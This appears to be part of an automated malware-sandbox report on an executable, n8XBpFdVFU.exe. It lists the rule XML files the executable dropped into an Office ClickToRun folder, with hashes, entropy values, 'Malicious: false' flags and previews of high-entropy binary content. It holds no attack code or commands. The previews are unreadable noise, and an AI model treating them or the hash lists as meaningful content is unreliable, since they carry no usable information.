Malicious:	false
Preview:	.<?.....%hV............8.}6w..~.;[+.AD....G.\|..G..9q.]2u...d.2.a...........{r..u.....8&.+.d.".o\.ti....8..KB.V...!..{.dt.....,{.+.......e....I..5`..4<.p...?.>.d".^B..G..Bq&...R.b;K..k.4...{...H.9.,...%.....Z;@....H...})B........J$.......N.;.2....}_.'.."..9........M..\.O..i,.F.]y....aH.c..j7..=s.A........y...].....H-.m...O..+hEw.(..9K..A.t.....G...>Ugk.b.[T.4....m.@/..J..._" A.M.Q..yA.Rv.B...0.F.3hDu..t..@......[...3.......Z....D.@...A...\|y...I.....BD.M't.4.U.JvX.w`&f..$...Quv...y.._....!fx....>.I...L2=MW.9.).}U..p=HD....l}< .X.2x\|.hhz2.y{.._..H4.P...T......6~..e..};.[.n,..e&x......`>#V_..P.$..l.Z.X...<.V......V.d.s....../3..v.yj.'q..u.b.....n..%>}&7...s`6eS-...q......\|.......v.F..e...xd.A......].J...i.u.j.a4.I6;.;.c?6.....!.....8..O.....8^.kd..>.....86=..Zj....h..mo...........^...IVp.5~./...cMX........f...,.'.DE.....@...C<.....If'."...Y.!..pB. .d.zd.....Ed.\.)X....\|..X.x..`TA.{%........@~..G...V...vG.q:8.i.....ju.'.IG#..}..3....x."K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.872860359405282
Encrypted:	false
SSDEEP:	48:O4FbR+/IWBysTs7AFz9i5wUladPEk5XxG8+D:ne/IWBysTsuz9caBEkU
MD5:	A747FA7D54B705856D24EEBFA6695253
SHA1:	D6FA001010D5B28098D84BB7F15CF74A87DE69B1
SHA-256:	3D925BBD7D3CBEB5A60C0AC52DC2F5BADD4F06EFD3DF4EF2D1C737A8557AEE98
SHA-512:	74A2A7030A61D2BB8F5AD7BCF11B78430FB9019EF25ACD00D64D0419EAF2A7144DEDFFADC7D0608E8E7AEEC20F23B0656161568F380F715A397A6056D866D8DC
Malicious:	false
Preview:	.<?.L..Y..i......../7..../..R.bH......rtZ..o.X..L.....e?#.Pd4.l....Z..&..G(....EO.g......-.a....h.VRI'.(..P..w.J.7.5E...a7......g....f.ycwW..'...ec.....v.t.I..S.....?...i ..A3{.V.....{.(.jI....3.x..p..F.....qy'QJ..Q.. Z=I.(..2.y..Z..;...\k/A3..9.D....B.....b{..M..eCD..._...;.D........%,.}X.TZ.'......<3Q..T}.9..B...hc.C'.C..6..;4.ES.F.7....zI7..l;.2..N,........@... .X.yo.WZ..ZS`..SQ..).g.].u......c1....'.....G....z.."..k.;.@..R'..W...'. .Q~-.3..nb..X.8..8..P.1.......5.....uv.....C.,2n.....81.w.3..u.Yb..%.i..UIk9u.Q.(.\|.p......u..M'.._.%a:.........m...S......U....+.......6..;.VQ......XZR....]H.0W........C...w....Bk.....I=_...o.V5..XZ...;.\|.c..2,.J.;m\|...)%...e.HV.o...%.s...3...o+...1..B..VK@>..d..&.E........W...Fw;..Q6.....<..LI,r.\..Q..."...........=.L....i+/<(8..c.....d.....o....mF.f..-.5ak...<......`..d..n;.....)#vG7...k..1[...*-<..:.......@....LXGY._......e...D.~..G...;.pz.G...;d..l..\|.Qhb.&.x.x....\...d.8..O..z..#.J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.891273978597714
Encrypted:	false
SSDEEP:	48:P8CHGp2dLbma2WkODeggz+Io3n64jao6dsD:0eGw9bh2WkEgz7sX
MD5:	2F70FA190D3A0C08B6CF06EC7C3B58B4
SHA1:	24268EA27DD85F8A0BD4693227738245D13E8119
SHA-256:	8BB5BA5A8AF315E9EE0E11F564E357B3B413F4460870EBF8C9E07D42E97556EB
SHA-512:	79FB654DD5BE817309F769EA573A0874DB83CFF97E314F8171576AD2AC4B36C3758963AEC4F3DB3DDCDAC1B4EE7FA9E7A9C92A452DA06A1AD5462749644BA4FD
Malicious:	false
Preview:	.<?...k....(.4..s3.\|.w2......e?b...1..f.#9.Z..q.S;.[..!~...R.Hn%n.NDK:NO~ac.yc.gZW&..QC..c!......D........[Z...M..P....M)...W.o.1...<..n.K[....3.",.Q.,[..8.g...@@..^.......XG..M..4..~.....lHh..n.....j..d.Jx..=...O.....VDk".@F67..U...:..$..Hj5.(..8............t...R...6.KD}...G.)O..N.i..S.I..M<..k.,f=..#.....KK.?...(.,......\..?/.T..O....25(.........9.fT.,..B...r..7p:~8.'.G...7Wv..s8S..f..Dw...d.XE#g...]...W.G..G...R.D.y.T........a..q.f.ow&....0.]..E..,.$.1+U}.LrH....v.5.hs....{......wK..).R.....W.v..O.F3..^.!:....3.F...Xl.....>....L.k.#^.M.j......'.w....uV}..\:..B%.K.M3..+?uU..8NH... p....i..o..gI=...O.s....>....{uS..h+.....Gee...&..=...kt...J...K..........0}..%.L%6....!9d&..8...@...B...W8NW..A.Q.....[C.........\.s..z.".........#b.a.G.1.Dk....0.+.w.Wu...o.U.....U..8QoX@...d.$n.r.sP.....CFC....,W..B.j!.v.......w_./..\l .U...F..7.r.?.3..9.~r.q..@.X...}..t..v...=.........p.54..).-&.ic.jt.@o....Z....3..B.I..U....3...l...b.<t..%.<..e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.888219197789142
Encrypted:	false
SSDEEP:	48:J1CsCfWEunnhewIUbCeTWStsUGFuE5CUowUWmD:nCKEunnkIbwjUGFdC9DW+
MD5:	FF13286755370FCD416EDBEBEFD7BA05
SHA1:	DA12D895ED3AD1F1F1ABADCE58402301D3BF3A72
SHA-256:	836139382EA776B2319CE6EAFF0AC91FC34BA75E0AF816C0825B0F78D1E996AE
SHA-512:	9F0D1286EAB1F9885BB235B82FB4C5D761049EE3B9E5A7D1F9AB8A99EC1436D01818EB940FDABA957F909DEB6054FB06AABA6816FE1A027A90C8C864D1AC5CC5
Malicious:	false
Preview:	.<?X..N@G'....5............]._..`.@...0{.1$.`...h.i...;....]..X~.... ml..0.e......AL.SN@v{2..F..[...6._..r....Q.~Q.2...#9....F...Z.{J. ..T..............7...P9<9..7..`m=N0x.....a.;g..0........D.....a..^B...\|...P..tv".......B2..e.C.sv.....R=.}..TX..V.<d/k8]I...J.<.H.Z......9.4.....ae'. P...X.#.{..:;F....M.dl.j....[..Ry........./.a.U..1.E.!n.w^....v25..s5.P.....[...Q.,c... p.Zb..:..[.P...^.x..........P.....'.0H.\.qC....3... ..I...&.y..^....-<k.11.@3..b.Pt.......O..#U...u...K..O_.ea.P.u.+I....U..]..t.......+f....8,..TS..9.%w.PK-.hF3..O.nu..uZ.5Wr.5li~...j.$..VQBc.......#.)M.1.....A.G....'...Q6....:..~.J\h.y.f....}b.m\.Mf..C..:5vO..+j'.=X......S..d....h.&.......9...:...qV:.bH1T>=..i^.u...pg.I...V...e..S..@6\|fNqd.....;..!.q.)T.`.T/.,......N.Id.....LQJ~...vb.~l..L'D..w.!'g..i.......m".f...D..~L.......RyZ..n.G..H..76h........^..J.....A]h#........3.....hE\|.e..A....M.J..N.......... .....y....1O...N...y...b.X..-F\|..BX.;\,...).U.D.J>..e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.9020111031673865
Encrypted:	false
SSDEEP:	48:7W7+iwGK43NJXDYA3feGNRg3SCa82mps7kF5UfD:Diw543vp3tNRgCh87YQ2
MD5:	C688AB02E47509B79B5D8FB19A78E047
SHA1:	488B80B335BC8D6A2632E1E30B759853E7CFF032
SHA-256:	13271BCC133EC4DC8CACAF1996A69EE242D1883866E9EAC1A7317E5BD642236B
SHA-512:	208F2CE7DD5DB3F4E4CD13AF11B000E12661D9DF29FEE63C4B421D51A2A3989D611D9094B54C324F517D9901C8A53652E7F25DF1FD96884AE150CDEB63EBAA2B
Malicious:	false
Preview:	.<?.z....V..HR^.R7Y...e{'........?.+....q.Sa.L..........x%!I.d.eG..o.....:.N..b.2d.h...Q.zKF.r..7....#...RU1..,.k.S{...d.x...(rTq.....;4..........A.....tH.T..kJI..LV..Tx4.s...........6..'.$.~,.....j.d.<?.JZ.=1.".?.^=...t>.j....s..$e`v.<.qq....C.$.i... .}......x...1.d.p...cDOFs...U27.4...DS....u..i...........i.%..e.....>G.\|77Y..S.]......[.().@=.......4:{4.......C..m._r9\C.qq[P......\|.p2..2x!.%P!~.pu.Py..-x#.y..!..f.LVwF...........O@..hzRn+..,]....0@.=....?'.p.\|{..1:.0.A..Nl.N[M..<..LSD]..qE..>.....9.J94%O...T...4W&.O&Uz...._Z..\|...~t.B3S..fN.....@g.H#....J.......@Bg....q.`.:$.[..H..16{O....>8......K.r.. .;.)..T.c.is..x.... #8..z..a.....x.\D.7....7U...XgIsf.....9s7.f[.hc......j...1....d..H.L.. ..0.Z....C..BadU&P.$.+..:8..NX..?+..!.g?.'..q[0..-..~..........^..%zN..n....m.$.xNL..Z>.......@..y...n9..q.$..QgT...Ob..U....e...Z.jV.A.<.w.q....:[.^Y......K..Z.t.N.......B:Q.4l..M...... ]x...H..A. .a.{&.....H.~O.L...*E...+..~a0v.DD.....R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.892017639405072
Encrypted:	false
SSDEEP:	48:bAypTP3rw1cq0x5ww3TiHGUffXYcf9erFTClXD:bAypTfrocqm3q7RfOVg
MD5:	1EEBC7641C4031F30ADAC7FA2D7E3C69
SHA1:	FE948DF3E6A7FC574AB9CC0ECFCC1D39E12091D4
SHA-256:	3A375A63DEDF1285277C4DE62B38871166ABEFE60E0062123603789956496B30
SHA-512:	EB9703BA10AA9976A92C033391E221593149175D831F6BC1585A0F6C9D04840E8D44FE1555F3944F509B26AD21E479902CD292F54489C0B621BDEB515E9EDE6F
Malicious:	false
Preview:	.<?.[^)...t..B.z.N..R3..wNe.w2.....k.z.7.Y...........c.W)..\P8bj.z.[.j.r..#..DH.+.CE..........]......x.....Z.:k...../.c....n9.R...P...$.'...L...6..T.^]....\....6N..@yY...c.{.e..O.....5..'.............M.......P..Y.h.1.z!{-._...<l....ld.......~.....bL......m.N..\|.W\>4....B=.[...\.B.nt...0.......1.biy......F{...4&..W..9s7....C..9...1g.+ .Rp..3"..q...Yz...<.......R.)....n.N\|..:(./......)...T.t)..@I..lA..U1.......&.L.............&\..+.u.Dq...\.5v.a....#.Ms."{A)X\H7.$?.{...OGh+S\|.^P ...$..n............xqDM...EB...!...=C...o...i...R...+e..c...K....;.p..x....A5...S...K....?O.m....\|.^..P....(M&.qzq..i.... .@WT1.....h..X.N....U...C..w..$.D.. !...?.B.U._~;<.S.....7.7M.>.#...5...33..B?...}..>z.l..A.9a...:..f1....'L.7...vG.........'.~q.6.h..3..+.....mz.3y..}....W...s....x.[....4.y...)...;........7k......:.....Na.*..;...l.c$q..."I.:.z.1.. /.%.~7..v.......M?-M......h..#...1....$..#(.Z.H..7...>....6..._.u7AU...j1......0.D...UA..7v7S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.910415560213958
Encrypted:	false
SSDEEP:	24:DE5VoA1t/UpnvhAzAgyjEghJGcnB2Jyj0/wMa6ETgvWChyohhByW/M/Y8bD:AR/UpnvqzAg1YG8B2Jyj0D1EEvPhzZ0D
MD5:	383B04F880A8A10CE8B1D79E9BE9F67A
SHA1:	2AB29924259B4186D5683A976502AA8DA1B83A56
SHA-256:	126AC337C25F6EEBD66F172282AD5BA5565664F38A65EBB93CF10162CD7DA74D
SHA-512:	AB7133D9C1250EAB1375505910D49E20586DCFEFFDC7114CED97BBA69FBBE7430284AB7F582963AAFE0E2020A82990BFFE020D896DE42A4A17DD6B243359467A
Malicious:	false
Preview:	.<?r.a....\.0..o.k.ID...v.........B...8c.W..F97...#(.KT.[..;.IZP].....aL.j.A....\|..;.Q6.H.....A.u.MY.gJ7....(b...N..}.GS.R...l<...Q....v3.)bX(g..@...OI.teH}..e.J......?..\|...~....w..M..ag.y)...Y..g........9j....{.ly..K.tRl..`.r..Z.......{4:.:.%C...I_9.lD....x...[..$..v.if..^.kH..~..v..........H..O....s7f...<.I.Y..:.U_ >...c..))........DP..(..n..)......#....d\.).?.5.EmU..>.U...3..8..c..@:.D.~.u..yN..)j.g..".Yi%\|.glC.A....HxX.\J....v.:...Y.l..r..J.{.)!Pb.H.=..&.c..+C..v..~...9...!..U;jx.....mG.n.s.E8.a...G.[..F...\|\|(...'...A.&...&....8.....AG.U..L].w..f.o.\.&M.\|..:.._...`b...Eo..k..e;...N.=bx..'W.T..z../...p..........N...Z@.q.d..Z....2....@=b..!..v.].l.....%.i)..-U. .Kw.}.a.[.X..~...a.....e..f!7".b.c..nX....:9...}.id.-.!....n..5.......4.OwN.L....>..j...3E.....x(....n.4#...p......mS.;_....Ug........M.^..,V..."d....n.24.]+.....j...J\.*.z%...p..O4w.t.@......'..=2.:!.3.I.cn.qE.......E"X\|...".....#r..F.Z..&gM...G......c(.6....Wf.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.8851899825947545
Encrypted:	false
SSDEEP:	48:iiWEOLOEnSMYHI/zjX8SL9nWnrExuGG5gnt6XD:iVVxbLpxniuA
MD5:	9E9A92DB13567295CF7FEADA6BE2145E
SHA1:	2C80B91964E8D98F2174910AC6C7C479B4A1DD92
SHA-256:	BC6D400133A5520023FD8E0430CC80B8EC6F05D47AD979CF988ADB2BA9AA357B
SHA-512:	DAAF2E6C2C60F71342D9134ED80FD15FED6EEC33C1B8BDCC0D1B7BC77C1DB4312FA6F6F71E97756AAD9554BFE11279CFBC7495A3E6EABBFDC348A9911FD3C93B
Malicious:	false
Preview:	.<?..l(..E.~y2_.{...9.v.............5..y.,.C0../....n...f.1........?.X.i.J..v..(@n.u[........a..a......ko5......Z.....X..?..-.7.....2Z]...0...D_.O...cO.>r...$iB..^..M...M...........8.2.....C&.E...P..O....\|F..f.....].&R..YY..`.9RU.n.b..>..QY.T..gQ.ph...!....p........#\f{.....o.....JL..... T1.,..M.I....Ha\|...n..M>..Sb...)s%p...j.d...rr.j.c.r..et"%bX...B...v.IA.IfQ.....'....z.Z...2...s.q.'T.V.....g../.p..U.....&.f..k..K$o..7.V;..?%.k......z.a..J...d........Vmr...1..ze6.....m.Jcp.......pM=.=h......+..).G....m.IU.M...K;8d.$E.kz?..U.9[...8S....# m...p..K49}.u.9.t.N.g...4..6E..F.t/[u...3\|S..=.._%..F.S.F.]....tX.M.K^..,.9.n....M..K.. .du..N..j.bU.R.3.j..Mu4.C.1.0...F.?X.e.hH....W...1.P.y.V...BDB...1*.`.+.........JZ...\.0...(.]........1.\|.2r.......q..D.7...o?.".I11).X.....]a.K..O.\..m.6.r.... .]...x-.T.l\|g.....5..H...u.G..C..,3}.3.X....M.(p.N.Q..nt.....h.<NUy..y.T....y.U\e..I...~..q+.DR.=..;(d...f?%.hIb..$....~.X. ..g...2M...&../......w....T...jn.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.878880435191326
Encrypted:	false
SSDEEP:	48:s3+TRChUmGa7zJBeWAoB9w5s30qIHnI/8EPXD:s3IRC1Z/RAuwWkHafPT
MD5:	B845CFB13104B075609ADB6796804CCC
SHA1:	777952DAF63DBD7D7ACEC0E67AB3DE584414F8DD
SHA-256:	EC021766D36C393EA77C85488BE241ABA1A5D7B285C80073C19F1F58BC8DA74F
SHA-512:	5E89A300167DF819F3A550F5D6C01092AF9D9046EF5BDACEFE9E61CDEB5751587EB7B406731860B79611589A2766ACE9BCF5654C40B3F5D7C8D4009EEBC843AB
Malicious:	false
Preview:	.<?...h..Kf;...%M./......;.j.P......Y.....&.Y\|...7.77S.@90C..'.f/?/......wt...e(.U..@.}0.....0.<...K...2......h.k..x....>.......'X....ga.....+..0.t..9...r>..zE..3;..d..;..{....j^.U>.t..........{.K.....T...U2.CX...}.V...../.T.>!.;.........b...&/.k.. ML.....jP}.m...-..U.#..1..'w...`Ke,.......@:..$;..RF....z<.Ar.Yr...y...,...GY..b(5F..=.0..\v...;.l..t.........-).?&n......$&l...g..c.......%w...f....m\|wY.9$`..y.).u..M.q[..,....~2e......5H-$......%/d..R]......\|.x(.@/...9...-....z+...]....k.X.z.+...LuX.OJw8..T..+\|..k.qx...jC1.y.PY.3.5.9.Lt.7...=...Y......[...{K.`.Z(m._.[..7.....@.q...I.X..L..K.....K.Y.$..q@r.....V.Z./...3.k/...%.6......Du.r....nMc.X...ge..l1.Cs..... ......V.z.E!...U..?...E...........Kb^..`..F..B.>..a9...nG){...7.7.D.BQJ<f.}...h...eg...,P..j9..u..S..X.9..{......c....M.4S`..9..._..9..Q:...D...8.m.MK...k...(.P...k....Ep...Ij..QD...E....;........#.J...f.N.V..4..+u1.....!o........6N.K.d*........#.%...%..fi.........X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.898446703805553
Encrypted:	false
SSDEEP:	48:UxSaxq7+a1OuUAcFku3CSv6uqHCiA7kKdkxKDaP4tD:2x/6OVAJuySvKCiA7kTkDaP6
MD5:	3F0F20696D9695592101125424FE48E6
SHA1:	F22BAC09EF9600C639080F1246EBBAD5209E1383
SHA-256:	472EC7230233058AF7E81E7F98AF392F6881F93A5C97ADCBA3C9DE0C91F8B18D
SHA-512:	EE6CD2AF4DC324E7EA4126616AF65C092D09B095E6B8118EB67060419E9EE7A2E5CB99E0F757EDC49F32B4BB468020C173058E382332DD05EB5308D7031C9163
Malicious:	false
Preview:	.<?...z.2..a....A..w.L.]...."Y..(...xE.{z.D..q.......iR?./.n.f..._.9]..Q.?....yQ...5J....R.y.y....S...{...!tr.G..&P<.;.D_Q..=k.. ...6....7.(+.S@.].wB.D.......nj..'..c.&.z?q.w+..T_.7@3PM..e.d`[\. .`..>..fl......DD...t.:q........A.gSSwjgBi..,.9$...L^<z.......T.)..dt]....?.-P.1.w>.E..m..'..dg.8...U.^;^.#u.SN.fU..s....6l...w(1m..CC......}.907Zt......]>..x4......4.^..L..T.Q.u..N.wx..@ ...W='...@U....R.p..K.r.?d.Z..[....\|..V...A.r....;X?F7.2`...^f...Q"...v..&+m.pl.x..d_.S"W.f2N....[.I...]....]...7.b..-.k\;.+.t.o[.....4....\|.....?.W..G.>.....E-Cs.._....K..#.g.h./.....ra.T#%.....n......6..zX[2%...C.$....-....c.....9.NW....wi.B..j..f.{N..i.+.x..N.\|G5.....9.......5.a.:.B..n0....>...&.o.2.9#[%..?..pzJv...bL.k.D...2.dX.F~...$.9..+.XD..n'o.h..`.Vj..v8..m..+vB.4...'....^.....q....9..Y.\|.w..!........LG.}*\..C\|...q).......A0.Q0....t..$!J....Q.D..0.......a..m.j.d.8......V.Q.R.......yKG.S$..O.u,r.#=.......8d.....E...b.H....lfk.....p..7.<.o<..\.....2>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.892604875697596
Encrypted:	false
SSDEEP:	48:dKuv3tn79Y3SYG5W+nUoxRischiLgc1jgJBRJoD:dKSJ79Y3Sr5jxIschiscFgJXa
MD5:	9BCA5B274E1AE7237173EF7CEE2CB994
SHA1:	9788C38C910E0FE6E37CBE7DAA5C9932480A5DD5
SHA-256:	1FFC5373E05E4BED525ED84BFCBE72C313A75E5C76F8524CFF5349075EDED226
SHA-512:	C8E641BF6677302A0B14626C5899E811D22E97B4182DF7C215A3C27B83D930629398632610BD838EB5E75AA722529B20F068359515A633774EAE8C6FCAEAEBED
Malicious:	false
Preview:	.<?VTRwL...M],..3...C...h.,......C..Dm.x.Qt.J.pc.>.ou...fo.q.w....w...e}p..F..W.5.8.v.!..DkAL..#...-F...%...{Q..'....M..>j.......^}>....fo.y..!.(..n...<.R.gw.ZD.R.=.2.c{.b...LiUS-..:\|.Nfb.@.S.K.;.H`...s.[/...k...c...............he0...6W..+Y...^...HF.o..d.CP.fIi1Y.U..^HQ.4y.. .d....8..........E^....r..Z.i.Mk.)w.G. .~.j.....:A.D...\..k...X.... ....Rn\|.NdU....3.C........@....a.....<...39.).3.~.O.....k.U".#R3....[.\...+._...f..rKP.eP...6_..#..k9z..8.7.s.H..Y...>....$^.M.........za.p..,y8.Y..3R....i..2...p..?....._....fC=9..1"..%i.....'8.....{.{..a}..^.l..}Fo....Vb.....8....pw8.l....I.V.]....6c\?(.6A3.}.....o......)*.V/."....:p}.b..O...1u..&Sjxn.3.6..a.....I...M..uO.....S..h....&......,c6..}..7...$, -..=%..\>..)..%o.3/\|.....'G...1........U-...6...@..z..n.s..<..+-E...a...A.z.n.=N.&...=..vE,6...K.1...@JZ....Y.I.6%.Q...Sd.PZ.`.w.^..m.....5....Sw.4%\|}...p._C1:iL...:0h,y..'..,B..Z...+W.`j.E..5.U?)...+.G\_..%..G......c........1(...Oi..[.`'..&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8693360090258855
Encrypted:	false
SSDEEP:	48:+Psm8BzFcVeDqOYjcSzGKL/TwJagX7fOID:+P+zpDqOYjXrTw0gX7fOU
MD5:	144A33A234D10A9BC45C4D89405E68CD
SHA1:	015155492EA0DD090EC318557692BD7846601DED
SHA-256:	B9E5406074694C23757D49885E48E0C24ACE73636E00D687B1529575BA67D831
SHA-512:	6861BAB8D4F18BE610A93181FCF4E984EE2B2E663688490052A0B9F9D668995DE0FA367F1AF32CEEBE312AD431B1A601666D473C99DAE342356E16B042378BA3
Malicious:	false
Preview:	.<?.L.2...'..... .6..+.....P......Q.s...=.f.vo.y.:9}..}\|Ey@V%..~...(..H...:K,..^YI.i..x....M.w..(..I5^3..]....x>Qp.)..N)..J.s...'g...e?.clD...{..>..E....iX"....@..b2..u:.Uk..jNfa.#.;.Mph.....26n.T.....8I...c..4....$i...(..8..xv.l.\.E....H`\...\.q[.s..=.p~}.^.v.A...O.<...U.I.l.b2.2..s......1K=.e.....X..8..<#..WU.dx...X.g....G,.j..>.......!.....c...5.:c....j.j..S.d.i...~.RB....4.K...b:......(./......1...M.V....W.\..8!.......h..R.....H.=.Y.,.4.%.(M.~N@K....R....i......Q..+..O,.... L.T'.h.o..%.A.^..1.(\|.Fg.....)-..1..F..'.8...,...)+..I...5......V..P.Dd.......&.b]......8F7.SA.....z..m\.i"+..m-.x..e..<c..D.m.X\|.19..9\....3&i......y'...V.aN..L..[...........gv. ..c9.e....0NE.,..Y....[GA.d...E1....5...(....p.X.oUV..:.R.jn........J.d.....".3..+.2.0l.g.(.y1......8\|i....I......{....b..E..l.'..,........@.8`.....l.qK._.M..A..X....o..P.u1....{.EKI. .M?....^.-..s,....P......j....... .`$..G...B..f..u.....8g....9}....'A....G;....."...@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.888289555609306
Encrypted:	false
SSDEEP:	24:4ohtm6V+HEARPbBB0WXnV5TOZr1wY/Ni0sj/qpmXKTl+lhJQVY0Z0YXGEPktqhR4:bXV0bBPXV5SrjQ/qSKIlhf0+zEPu0ZQD
MD5:	C2D45A53FE1B72C48EF144C7B3F5FA99
SHA1:	B161A62B6097C5478A02BBE370D16C2C8F41A85D
SHA-256:	38E37E569F9C48C9C55775FFDE564453CA93664F59EECEEC435EDC80A51B8AC6
SHA-512:	7E15E61F4807FCC004F89719A3092BFFFAA1CE77651F74068F8D464523C4A150A70FEA32B6D37B38E3ED5CA07953FBDC972EA8D140456AC2D4145E1D9EB11624
Malicious:	false
Preview:	.<?.j.....^...\|o.Hc4b..da^z...l.;...e.e..x[W....V.....V.....v.]..ke.<.a%..q....J..qw.(`Z.........nQ....i.5.-P..."T...3i...g..&.6..h..G.s.Y.n....Y\....0..Of..+&.XR...?~.*..18.B...t....._../.>e.k'..0k..$.E.N...wH.!.#n...zeg....@}6.E..%23........\|..?...nt.T.. .....sh.-^..(..c9.=.%O8:. ..&...[r0KuO.AM.P.....Ow..._._.......".x4....I...8g..!5X......\|.;..U.......{....P.........!%..5.......qY{j.^...&...~....-M,~!;.h.g`W...h..:j.?.T......x..........FFHV.F.}.I.....Ea...]0.U.7.@7..9...'.~....`..H."'...J..5H...kh.....9..T.C,.......55\|..&..'.>q.. .. ..=T.t...`}...z]....=...E...i.jx...f..(%..h...@..Jg....C9..w..C.K...J.`....$....`.z..i....S)yNU~..1p...x..o.<.2...p.'j...2........^w\|T\\.-...tN....i6?0.......@.l..t-......\|..Ivph..p.......}.6..@.m...+g...T....~...,..Si.y....V.)Z..$.&..d(.:!..3....3?._...Gc..l.7.bN.n.....T..}._ .8A.........H.'........5$...U.kfRp.5.X..t5....cn0........P..c.)hr..8.:..!.....$...!.K.]./..........Hfu..`./..D.f./......12..7.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.893096530881842
Encrypted:	false
SSDEEP:	48:r/6WD32a2UBL9CzCybHpwm3xoHTeD6P8kD:B2a2qRCFpwmhozU6v
MD5:	0575E83597D6EE73289E968051C7E9A7
SHA1:	E9928333FC085B95BA4E9B56B5C97129098BD78C
SHA-256:	2BE6D998B0E750DCCEBEF9AC84DEC18A21BBE90C9CAC40107C3BD5B05C4CB6AB
SHA-512:	A2B0219BDEC1F10D774B9A58703B6E97B222762E40C165C0D5BCA3D9B1827CFDFD178CA20D422045DB900EC01B17C9152D020FF19AAB5D004AFA4E621F61274E
Malicious:	false
Preview:	.<?.H.....[C'...N..e..("#w..3..8.......#........... `..m..,.O./6...`......?ZZ.<.RY1.`!...7.d...6K......n...h.. ..Q..k.v...x.b..p..........\...y........i..{N...5._..J.8...}...Mp..o.....q-.\|TZ'..9p.N..B.\om..1N[.]....d.)nUk+.1.xS.r.......z.l....][..W...&.ph.n]\|n.w....`.....a.w.gz.......k.u..;......n...p..."N.[...}..Z~...x......%.......\]...D.t<............`B....V..F.>.%.o.T..=.{....!...B..a8/.....:.T+Z........JD....h...8...J..Wr..u...B^Sf.4t..h...z2.IK.."....p.l3.uE....>)..../B.'.S.T.........x.}.!..V...XDmI.a......9.L.x./5\|....j.../.-../.X.5].'G...c.h.......}\$c...r.....`.S..../).-.n.nz..H`..6.....M.cdBw...m:F.,..0)g.S...s.....\|~.../..y..N....B. r...@....p...!=d..s..7.9$fp....E..Yw..a=5....Z2CL.<.LG.i.1$PWu...=kJ.$.o...P>...? .E......T.....I...Ri.&...%P..W.X4v=..+..Km8..@....a..w...O.%S...<.Y:gGM(...jd.0...-U..j.Yw_]w..'....i.........b@V.D4...gz-.-0D..m_5 m.v.3.No.0.-.]....+.N...o.....S.W....*w#.....C.8.m..k.V.A=........\e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.872378378643128
Encrypted:	false
SSDEEP:	48:Qby2Eo1IrTu/JjTufWFALkd8H8ZoWrztfCzOT73EooRm8qcFD:Qio1L/J2bLkeH8Zfztd73EooHn9
MD5:	551B6BA892CFF0889602EB808C31E329
SHA1:	5259E32C821F9EB59C6FF0D2847A7CCF1280F5D6
SHA-256:	BC8B35D24E8F8CBB0F01FE1EE3787D32F9DEA15DD28551DFC32A1DC065420860
SHA-512:	DF5006B05FD1A3D9790452C4FDECB382014199E62DA145A6A1337CF5956EA54B2A81B3B7FC6690FF57054535F8E6135DE7595613353CA903280906A28EEAC2BA
Malicious:	false
